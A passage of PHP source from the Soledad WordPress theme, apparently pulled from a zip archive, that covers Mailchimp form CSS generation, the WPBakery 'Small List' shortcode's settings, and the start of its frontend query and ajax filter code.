	$css_custom .= $id_mailchimp . ' input:-moz-placeholder{ color:' . esc_attr( $mc4wp_placeh_input ) . '; }';
}

$submit_color = $submit_hcolor = '';
if ( $mc4wp_submit_color ) {
	$submit_color .= 'color:' . esc_attr( $mc4wp_submit_color ) . ';';
}
if ( $mc4wp_submit_bgcolor ) {
	$submit_color .= 'background-color:' . esc_attr( $mc4wp_submit_bgcolor ) . ';';
}
if ( $mc4wp_submit_border_color ) {
	$submit_color .= 'border-color:' . esc_attr( $mc4wp_submit_border_color ) . ';';
}

if ( $submit_color ) {
	$css_custom .= $id_mailchimp2 . ' .mc4wp-form input[type="submit"]{ ' . $submit_color . ' }';
}

if ( $mc4wp_submit_hcolor ) {
	$submit_hcolor .= 'color:' . esc_attr( $mc4wp_submit_hcolor ) . ';';
}
if ( $mc4wp_submit_hbgcolor ) {
	$submit_hcolor .= 'background-color:' . esc_attr( $mc4wp_submit_hbgcolor ) . ';';
}
if ( $mc4wp_submit_hborder_color ) {
	$submit_hcolor .= 'border-color:' . esc_attr( $mc4wp_submit_hborder_color ) . ';';
}

if ( $submit_hcolor ) {
	$css_custom .= $id_mailchimp . ' .mc4wp-form input[type="submit"]:hover{' . $submit_hcolor . '}';
}

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_mailchimp, $responsive_spacing );
}

if ( $atts['content_w'] ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_mailchimp . ' .penci-mailchimp-block{max-width: {{VALUE}}px;width:100%;}', $atts['content_w'] );
}

if ( $atts['content_alignment'] ) {
	$css_custom .= $id_mailchimp . ' .penci-mailchimp-block{text-align: ' . $atts['content_alignment'] . ';}';
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\\U  U  .  js_composer/shortcodes/small_list/settings.phpnu [        <?php
vc_map( array(
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Small List', 'soledad' ),
	'base'          => 'penci_small_list',
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/small_list/frontend.php',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'description'   => esc_html__( 'Display a small list posts', 'soledad' ),
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'weight'        => 700,
	'params'        => array_merge( array(
		// General
		array(
			'type'             => 'textfield',
			'param_name'       => 'progress_gnr_heading',
			'heading'          => esc_html__( 'General', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'        => 'loop',
			'heading'     => '',
			'param_name'  => 'build_query',
			'value'       => 'post_type:post|size:10',
			'settings'    => array(
				'size'      => array( 'value' => 10, 'hidden' => false ),
				'post_type' => array( 'value' => 'post', 'hidden' => false )
			),
			'description' => __( 'Create WordPress loop, to filter your posts', 'soledad' ),
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Type:', 'soledad' ),
			'param_name'       => 'type',
			'value'            => array(
				'Grid'          => 'grid',
				'Carousel'      => 'crs',
				'Creative List' => 'nlist',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Page Navigation Style', 'soledad' ),
			'param_name'       => 'paging',
			'value'            => array(
				esc_html__( 'None', 'soledad' )                    => 'none',
				esc_html__( 'Ajax Next/Previous', 'soledad' )      => 'nextprev',
				esc_html__( 'Page Navigation Numbers', 'soledad' ) => 'numbers',
				esc_html__( 'Load More Posts Button', 'soledad' )  => 'loadmore',
				esc_html__( 'Infinite Scroll', 'soledad' )         => 'scroll',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Columns on Desktop:', 'soledad' ),
			'param_name'       => 'column',
			'std'              => '4',
			'value'            => array(
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
				'5' => '5',
				'6' => '6',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Columns on Tablet', 'soledad' ),
			'param_name'       => 'tab_column',
			'std'              => '2',
			'value'            => array(
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
				'5' => '5',
				'6' => '6',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Columns on Mobile', 'soledad' ),
			'param_name'       => 'mb_column',
			'value'            => array(
				'1' => '1',
				'2' => '2',
				'3' => '3',
				'4' => '4',
				'5' => '5',
				'6' => '6',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Vertical Align', 'soledad' ),
			'param_name'       => 'vertical_position',
			'value'            => array(
				'Top'    => 'top',
				'Middle' => 'middle',
				'Bottom' => 'bottom',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Content Text Align', 'soledad' ),
			'param_name'       => 'text_align',
			'value'            => array(
				'Left'   => 'left',
				'Center' => 'center',
				'Right'  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Page Navigation Align', 'soledad' ),
			'param_name'       => 'paging_align',
			'value'            => array(
				esc_html__( 'Center', 'soledad' ) => 'align-center',
				esc_html__( 'Left', 'soledad' )   => 'align-left',
				esc_html__( 'Right', 'soledad' )  => 'align-right',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		// Image
		array(
			'type'             => 'textfield',
			'param_name'       => 'progress_img_settings',
			'heading'          => esc_html__( 'Image Settings', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => esc_html__( 'Hide Featured Image?', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'hide_thumb',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Image Position', 'soledad' ),
			'param_name'       => 'imgpos',
			'value'            => array(
				esc_html__( 'Left', 'soledad' )  => 'left',
				esc_html__( 'Right', 'soledad' ) => 'right',
				esc_html__( 'Top', 'soledad' )   => 'top',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Image Width', 'soledad' ),
			'param_name'       => 'imgwidth',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Image Align', 'soledad' ),
			'param_name'       => 'image_align',
			'value'            => array(
				esc_html__( 'Center', 'soledad' ) => 'center',
				esc_html__( 'Left', 'soledad' )   => 'left',
				esc_html__( 'Right', 'soledad' )  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Image Ratio', 'soledad' ),
			'param_name'       => 'img_ratio',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Disable Lazyload Images?', 'soledad' ),
			'param_name'       => 'disable_lazy',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Image Size', 'soledad' ),
			'param_name'       => 'thumb_size',
			'value'            => Penci_Vc_Params_Helper::get_list_image_sizes( true ),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Image Size for Mobile', 'soledad' ),
			'param_name'       => 'mthumb_size',
			'value'            => Penci_Vc_Params_Helper::get_list_image_sizes( true ),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'No Crop Image?', 'soledad' ),
			'param_name'       => 'nocrop',
			'value'            => 'no',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Move Image Above The Post Meta on Mobile?', 'soledad' ),
			'param_name'       => 'imgtop_mobile',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		// Post Settings
		array(
			'type'             => 'textfield',
			'param_name'       => 'progress_typo_heading',
			'heading'          => esc_html__( 'Post Settings', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'autocomplete',
			'heading'          => esc_html__( 'Showing Post Meta', 'soledad' ),
			'param_name'       => 'post_meta',
			'settings'         => array(
				'multiple'       => true,
				'min_length'     => 1,
				'groups'         => false,
				'unique_values'  => true,
				'display_inline' => true,
				'delay'          => 500,
				'auto_focus'     => true,
				'save_always'    => true,
				'values'         => array(
					[
						'value' => 'cat',
						'label' => esc_html__( 'Categories', 'soledad' ),
					],
					[
						'value' => 'title',
						'label' => esc_html__( 'Title', 'soledad' ),
					],
					[
						'value' => 'author',
						'label' => esc_html__( 'Author', 'soledad' ),
					],
					[
						'value' => 'date',
						'label' => esc_html__( 'Date', 'soledad' ),
					],
					[
						'value' => 'comment',
						'label' => esc_html__( 'Comments', 'soledad' ),
					],
					[
						'value' => 'views',
						'label' => esc_html__( 'Views', 'soledad' ),
					],
					[
						'value' => 'reading',
						'label' => esc_html__( 'Reading Time', 'soledad' ),
					],
				),
			),
			'description'      => 'Support showing: Categories, Title, Author, Date, Comments, Views, Reading Time',
			'value'            => 'cat,title,date',
			'std'              => 'cat,title,date',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show Primary Category Only', 'soledad' ),
			'param_name'       => 'primary_cat',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Custom Title Words Length', 'soledad' ),
			'param_name'       => 'title_length',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Post Date Position', 'soledad' ),
			'param_name'       => 'date_pos',
			'value'            => array(
				esc_html__( 'Left', 'soledad' )  => 'left',
				esc_html__( 'Right', 'soledad' ) => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Post Date Align', 'soledad' ),
			'param_name'       => 'date_align',
			'value'            => array(
				esc_html__( 'Left', 'soledad' )   => 'left',
				esc_html__( 'Center', 'soledad' ) => 'center',
				esc_html__( 'Right', 'soledad' )  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Post Date Width', 'soledad' ),
			'param_name'       => 'datewidth',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Post Date Align', 'soledad' ),
			'param_name'       => 'dformat',
			'value'            => array(
				'Default'  => '',
				'Time Ago' => 'timeago',
				'Normal'   => 'normal',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show Post Format Icons', 'soledad' ),
			'param_name'       => 'show_formaticon',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show Review Scores from Penci Review plugin', 'soledad' ),
			'param_name'       => 'show_reviewpie',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show The Post Excerpt?', 'soledad' ),
			'param_name'       => 'show_excerpt',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Custom Excerpt Length', 'soledad' ),
			'param_name'       => 'excerpt_length',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Custom Excerpt Align', 'soledad' ),
			'param_name'       => 'excerpt_align',
			'value'            => array(
				'Left'    => 'left',
				'Center'  => 'center',
				'Right'   => 'right',
				'Justify' => 'justify',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show Read More Button?', 'soledad' ),
			'param_name'       => 'show_readmore',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Read More Button Style', 'soledad' ),
			'param_name'       => 'rmstyle',
			'value'            => array(
				'Default'   => 'filled',
				'Bordered'  => 'bordered',
				'Underline' => 'underline',
				'Text Only' => 'text',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Custom Read More Align', 'soledad' ),
			'param_name'       => 'rm_align',
			'value'            => array(
				'Left'   => 'left',
				'Center' => 'center',
				'Right'  => 'right',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Excerpt & Read More Position', 'soledad' ),
			'param_name'       => 'excerpt_pos',
			'value'            => array(
				'Below of Image' => 'below',
				'Side of Image'  => 'side',
			),
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		// Post Settings
		array(
			'type'             => 'textfield',
			'param_name'       => 'progress_typo_heading',
			'heading'          => esc_html__( 'Showing on Mobile', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Categories on Mobile?', 'soledad' ),
			'param_name'       => 'hide_cat_mobile',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Meta on Mobile?', 'soledad' ),
			'param_name'       => 'hide_meta_mobile',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Excerpt on Mobile', 'soledad' ),
			'param_name'       => 'hide_excerpt_mobile',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Hide Post Read More Button on Mobile', 'soledad' ),
			'param_name'       => 'hide_rm_mobile',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		// Carousel Settings
		array(
			'type'             => 'textfield',
			'param_name'       => 'progress_crs_heading',
			'heading'          => esc_html__( 'Carousel Settings', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Autoplay', 'soledad' ),
			'param_name'       => 'autoplay',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Carousel Loop', 'soledad' ),
			'param_name'       => 'loop',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Carousel Auto Time ( 1000 = 1s )', 'soledad' ),
			'param_name'       => 'auto_time',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Carousel Speed ( 1000 = 1s )', 'soledad' ),
			'param_name'       => 'speed',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show next/prev buttons', 'soledad' ),
			'param_name'       => 'shownav',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show dots navigation', 'soledad' ),
			'param_name'       => 'showdots',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),

		// Post Settings
		array(
			'type'             => 'textfield',
			'param_name'       => 'progress_heading_1',
			'heading'          => esc_html__( 'General Style', 'soledad' ),
			'value'            => '',
			'group'            => 'Typo & Color',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Add Vertical Border Between Post Items', 'soledad' ),
			'param_name'       => 'ver_border',
			'group'            => 'Typo & Color',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'true_state'       => 'yes',
			'false_state'      => 'no',
			'default'          => 'no',
			'std'              => 'no',
		),

		// color
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Title Color', 'soledad' ),
			'param_name'       => 'title_color',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'heading'          => esc_html__( 'Post Title Font Size', 'soledad' ),
			'param_name'       => 'title_fize',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Title Hover Color', 'soledad' ),
			'param_name'       => 'title_hcolor',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'heading'          => esc_html__( 'Post Date Font Size', 'soledad' ),
			'param_name'       => 'date_fize',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Date Color', 'soledad' ),
			'param_name'       => 'date_color',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'heading'          => esc_html__( 'Post Meta Font Size', 'soledad' ),
			'param_name'       => 'meta_fize',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Meta Color', 'soledad' ),
			'param_name'       => 'meta_color',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Link Color', 'soledad' ),
			'param_name'       => 'link_color',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Link Hover Color', 'soledad' ),
			'param_name'       => 'link_hcolor',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'heading'          => esc_html__( 'Post Excerpt Font Size', 'soledad' ),
			'param_name'       => 'excerpt_fize',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Post Excerpt Color', 'soledad' ),
			'param_name'       => 'excerpt_color',
			'edit_field_class' => 'vc_col-sm-6 vc_column',
			'group'            => 'Typo & Color',
		),

	), Penci_Vc_Params_Helper::heading_block_params(), Penci_Vc_Params_Helper::params_heading_filter(), Penci_Vc_Params_Helper::params_custom_meta_fields(), Penci_Vc_Params_Helper::params_heading_filter_style(), Penci_Vc_Params_Helper::params_heading_typo_color(), Penci_Vc_Params_Helper::extra_params(), Penci_Vc_Params_Helper::params_bookmark_icon() )
) );
PK     0w\u!j  j  .  js_composer/shortcodes/small_list/frontend.phpnu [        <?php
$settings             = vc_map_get_attributes( $this->getShortcode(), $atts );
$type                 = $settings['type'] ? $settings['type'] : '';
$dformat              = $settings['dformat'] ? $settings['dformat'] : '';
$date_pos             = $settings['date_pos'] ? $settings['date_pos'] : 'left';
$column               = $settings['column'] ? $settings['column'] : '3';
$tab_column           = $settings['tab_column'] ? $settings['tab_column'] : '2';
$mb_column            = $settings['mb_column'] ? $settings['mb_column'] : '1';
$imgpos               = $settings['imgpos'] ? $settings['imgpos'] : 'left';
$thumb_size_imgtop    = 'top' == $imgpos ? 'penci-thumb' : 'penci-thumb-small';
$thumb_size           = $settings['thumb_size'] ? $settings['thumb_size'] : $thumb_size_imgtop;
$mthumb_size          = $settings['mthumb_size'] ? $settings['mthumb_size'] : $thumb_size_imgtop;
$post_meta            = $settings['post_meta'] ? explode( ',', $settings['post_meta'] ) : array();
$primary_cat          = $settings['primary_cat'] ? $settings['primary_cat'] : '';
$title_length         = $settings['title_length'] ? $settings['title_length'] : '';
$excerpt_pos          = $settings['excerpt_pos'] ? $settings['excerpt_pos'] : 'below';
$paging               = $settings['paging'] ? $settings['paging'] : 'none';
$paging_align         = $settings['paging_align'] ? $settings['paging_align'] : 'align-center';
$archive_buider_check = isset( $settings['posts_post_type'] ) ? $settings['posts_post_type'] : '';
if ( 'top' == $imgpos ) {
	$excerpt_pos = 'side';
}
$rmstyle        = $settings['rmstyle'] ? $settings['rmstyle'] : 'filled';
$excerpt_length = $settings['excerpt_length'] ? $settings['excerpt_length'] : 15;

$thumbnail = $thumb_size;
if ( penci_is_mobile() ) {
	$thumbnail = $mthumb_size;
}

$inner_wrapper_class = 'pcsl-inner penci-clearfix';
$inner_wrapper_class .= ' pcsl-' . $type;
if ( 'crs' == $type ) {
	$inner_wrapper_class .= ' penci-owl-carousel penci-owl-carousel-slider swiper';
}
if ( 'nlist' == $type ) {
	$column     = '1';
	$tab_column = '1';
	$mb_column  = '1';
	if ( in_array( 'date', $post_meta ) ) {
		$inner_wrapper_class .= ' pcsl-hdate';
	}
}
$inner_wrapper_class .= ' pcsl-imgpos-' . $imgpos;
$inner_wrapper_class .= ' pcsl-col-' . $column;
$inner_wrapper_class .= ' pcsl-tabcol-' . $tab_column;
$inner_wrapper_class .= ' pcsl-mobcol-' . $mb_column;
if ( 'yes' == $settings['nocrop'] ) {
	$inner_wrapper_class .= ' pcsl-nocrop';
}
if ( 'yes' == $settings['hide_cat_mobile'] ) {
	$inner_wrapper_class .= ' pcsl-cat-mhide';
}
if ( 'yes' == $settings['hide_meta_mobile'] ) {
	$inner_wrapper_class .= ' pcsl-meta-mhide';
}
if ( 'yes' == $settings['hide_excerpt_mobile'] ) {
	$inner_wrapper_class .= ' pcsl-excerpt-mhide';
}
if ( 'yes' == $settings['hide_rm_mobile'] ) {
	$inner_wrapper_class .= ' pcsl-rm-mhide';
}
if ( 'yes' == $settings['imgtop_mobile'] && in_array( $imgpos, array( 'left', 'right' ) ) ) {
	$inner_wrapper_class .= ' pcsl-imgtopmobile';
}
if ( 'yes' == $settings['ver_border'] ) {
	$inner_wrapper_class .= ' pcsl-verbd';
}

$data_slider = '';
if ( 'crs' == $type ) {
	$data_slider .= $settings['showdots'] == 'yes' ? ' data-dots="true"' : '';
	$data_slider .= $settings['shownav'] == 'yes' ? ' data-nav="true"' : '';
	$data_slider .= $settings['loop'] == 'yes' ? ' data-loop="true"' : '';
	$data_slider .= ' data-auto="' . ( 'yes' == $settings['autoplay'] ? 'true' : 'false' ) . '"';
	$data_slider .= $settings['auto_time'] ? ' data-autotime="' . $settings['auto_time'] . '"' : ' data-autotime="4000"';
	$data_slider .= $settings['speed'] ? ' data-speed="' . $settings['speed'] . '"' : ' data-speed="600"';

	$data_slider .= ' data-item="' . ( isset( $settings['column'] ) && $settings['column'] ? $settings['column'] : '3' ) . '"';
	$data_slider .= ' data-desktop="' . ( isset( $settings['column'] ) && $settings['column'] ? $settings['column'] : '3' ) . '" ';
	$data_slider .= ' data-tablet="' . ( isset( $settings['tab_column'] ) && $settings['tab_column'] ? $settings['tab_column'] : '2' ) . '"';
	$data_slider .= ' data-tabsmall="' . ( isset( $settings['tab_column'] ) && $settings['tab_column'] ? $settings['tab_column'] : '2' ) . '"';
	$data_slider .= ' data-mobile="' . ( isset( $settings['mb_column'] ) && $settings['mb_column'] ? $settings['mb_column'] : '1' ) . '"';
}

$original_postype = isset( $settings['posts_post_type'] ) && $settings['posts_post_type'] ? $settings['posts_post_type'] : '';

if ( in_array( $original_postype, [ 'current_query', 'related_posts' ] ) && penci_is_builder_template() ) {
	$settings['posts_post_type'] = 'post';
}

$args          = penci_build_args_query( $settings['build_query'] );
$args['paged'] = max( get_query_var( 'paged' ), get_query_var( 'page' ), 1 );
if ( in_array( $original_postype, [ 'current_query', 'related_posts' ] ) ) {
	$paged  = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
	$ppp    = isset( $args['posts_per_page'] ) && $args['posts_per_page'] ? $args['posts_per_page'] : get_option( 'posts_per_page' );
	$ppp    = isset( $settings['arposts_per_page'] ) && $settings['arposts_per_page'] ? $settings['arposts_per_page'] : $ppp;
	$offset = 0;
	if ( $ppp ) {
		$args['posts_per_page'] = $ppp;
	}
	if ( $settings['arposts_new'] == 'yes' ) {
		$args['paged'] = 1;
	}
	if ( 0 < $settings['offset'] ) {
		$offset = $settings['offset'];
	}

	if ( ! empty( $settings['offset'] ) && $paged > 1 ) {
		$offset = $settings['offset'] + ( ( $paged - 1 ) * $ppp );
	}

	if ( $offset ) {
		$args['offset'] = $offset;
	}
}
$query_smalllist = new \WP_Query( $args );


$block_id = 'pcblock_' . rand( 0, 9999 );

$settings['blockid'] = $block_id;

add_action( 'penci_block_title_extra_' . $block_id, function () use ( $settings, $args, $query_smalllist ) {
	$link_group_cats            = $settings['biggrid_ajaxfilter_cat'];
	$link_group_tags            = $settings['biggrid_ajaxfilter_tag'];
	$link_group_author          = $settings['biggrid_ajaxfilter_author'];
	$link_group_out             = $link_group_out_before = $link_group_out_after = '';
	$settings['posts_per_page'] = isset( $settings['posts_per_page'] ) && $settings['posts_per_page'] ? $settings['posts_per_page'] : get_option( 'posts_per_page' );
	$link_group_out_before      .= '<nav data-ppp="' . $settings['posts_per_page'] . '" data-blockid="' . $settings['blockid'] . '" data-query_type="ajaxtab" data-more="' . esc_attr( $settings['group_more_link_text'] ) . '" class="pcnav-lgroup"><ul class="pcflx">';
	$link_group_out_after       = '</ul></nav>';
	$has_link                   = false;

	if ( $link_group_cats ) {
		$has_link        = true;
		$link_group_cats = explode( ',', $link_group_cats );
		foreach ( $link_group_cats as $link_cat ) {
			$link_group_out .= '<li><a class="pc-ajaxfil-link" href="#" data-paged="1" data-id="' . md5( 'cat-link-' . $link_cat ) . '" data-cat="' . $link_cat . '">' . get_term_field( 'name', $link_cat ) . '</a></li>';
		}
	}

	if ( $link_group_tags ) {
		$has_link        = true;
		$link_group_tags = explode( ',', $link_group_tags );
		foreach ( $link_group_tags as $link_tag ) {
			$link_group_out .= '<li><a class="pc-ajaxfil-link" href="#" data-paged="1" data-id="' . md5( 'tag-link-' . $link_tag ) . '" data-tag="' . $link_tag . '">' . get_term_field( 'name', $link_tag ) . '</a></li>';
		}
	}

	if ( $link_group_author ) {
		$has_link          = true;
		$link_group_author = explode( ',', $link_group_author );
		foreach ( $link_group_author as $author ) {
			$link_group_out .= '<li><a class="pc-ajaxfil-link" href="#" data-paged="1" data-id="' . md5( 'author-link-' . $author ) . '" data-cat="' . $author . '">' . get_the_author_meta( 'nicename', $author ) . '</a></li>';
		}
	}

	if ( 'nextprev' == $settings['paging'] ) {
		$link_group_out .= '</ul><ul class="pcflx-nav">';
		$link_group_out .= '<li class="pcaj-nav-item pcaj-prev"><a class="disable pc-ajaxfil-link pcaj-nav-link prev" data-id="" href="#"><i class="penciicon-left-chevron"></i></a></li>';
		$link_group_out .= '<li class="pcaj-nav-item pcaj-next"><a class="pc-ajaxfil-link pcaj-nav-link next" data-id="" href="#"><i class="penciicon-right-chevron"></i></a></li>';
	}

	if ( $link_group_out ) {
		$first_class = $has_link ? 'visible' : 'hidden-item';
		$df_datamax  = '';
		if ( 'nextprev' == $settings['paging'] ) {
			$df_datamax = 'data-maxp="' . $query_smalllist->max_num_pages . '" ';
